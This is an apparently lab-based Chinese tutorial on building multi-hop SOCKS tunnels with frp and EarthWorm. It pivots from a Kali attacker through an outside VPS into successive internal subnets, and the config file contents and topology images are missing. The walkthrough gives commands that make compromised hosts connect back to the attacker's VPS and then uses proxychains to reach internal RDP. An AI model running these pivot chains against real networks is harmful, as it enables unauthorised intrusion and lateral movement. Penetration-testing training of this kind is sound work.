socks代理工具

环境概括

网络拓扑图如下：


网络信息
攻击者kali

web

ziyu

hexin

hexiao

0x01 frp

下载地址

反向代理
vps配置：
frps.ini

web配置
frpc.ini

vps执行
frps.exe -c frps.ini


web执行
frpc.exe -c frpc.ini


成功运行


攻击机kali上配置proxychains4
vim /etc/proxychains4.conf
在注释掉socks4并添加socks5 172.16.102.40 7777


测试连通性

proxychains4 rdesktop 10.10.3.6


二级代理
vps配置
frps.ini

web配置
frpc.ini

frps.ini

ziyu配置
frpc.ini

vps执行
frps.exe -c frps.ini


web执行
frpc.exe -c frpc.ini


frps.exe -c frps.ini


ziyu执行
frpc.exe -c frpc.ini


成功运行


测试连通性
kali执行proxychains4 rdesktop 10.10.5.7


三级代理
vps配置
frps.ini

web配置
frpc.ini

frps.ini

ziyu配置
frpc.ini

frps.ini

hexin配置
frpc.ini

vps执行
rrps.exe -c frps.ini


web执行
frpc.exe -c frpc.ini


frps.exe -c frps.ini


ziyu执行
frpc.exe -c frpc.ini


hexin执行
frpc.exe -c frpc.ini


成功运行


测试连通性
proxychains4 rdesktop 192.168.72.210


0x02 ew

下载地址
https://github.com/idlefire/ew
Earthworm提供六种链路状态，可通过
-s
参数选定 分别为
ssocksd、rcsocks、rssocks 提供socks代理服务
lcx_listen、lcx_slave、lcx_tran 提供端口转发服务

反向代理

vps执行
ew -s rcsocks -l 1080 -e 1024
vps监听1080和1024端口 等待攻击者机器访问1080端口
目标机器访问1024端口


web执行
ew -s rssocks -d 172.16.102.40 -e 1024
其中-d参数为vps地址


成功运行


在攻击机kali上配置proxychains4
vim /etc/proxychains4.conf
在文末注释点socks4 并添加socks5 172.16.102.40 1080


测试连通性

攻击机kali执行proxychains4 rdesktop 10.10.3.6


二级代理
vps执行
ew -s lcx_listen -l 1080 -e 1024


ziyu执行

ew -s ssocksd -l 9999


web执行
ew -s lcx_slave -d 172.16.102.40 -e 1024 -f 10.10.3.6 -g 9999


成功运行


测试连通性
攻击机kali执行proxychains4 rdesktop 10.10.5.7


三级代理
vps执行
ew -s rssocks -l 1080 -e 1024


web执行
ew -s lcx_slave -d 172.16.102.40 -e 1024 -f 10.10.3.6 -g 9999


ziyu执行
ew -s lcx_listen -l 9999 -e 7777


hexin执行
ew -s rcsocks -d 10.10.5.6 -e 7777


成功运行


测试连通性

攻击机kali执行proxychains4 rdesktop 192.168.72.210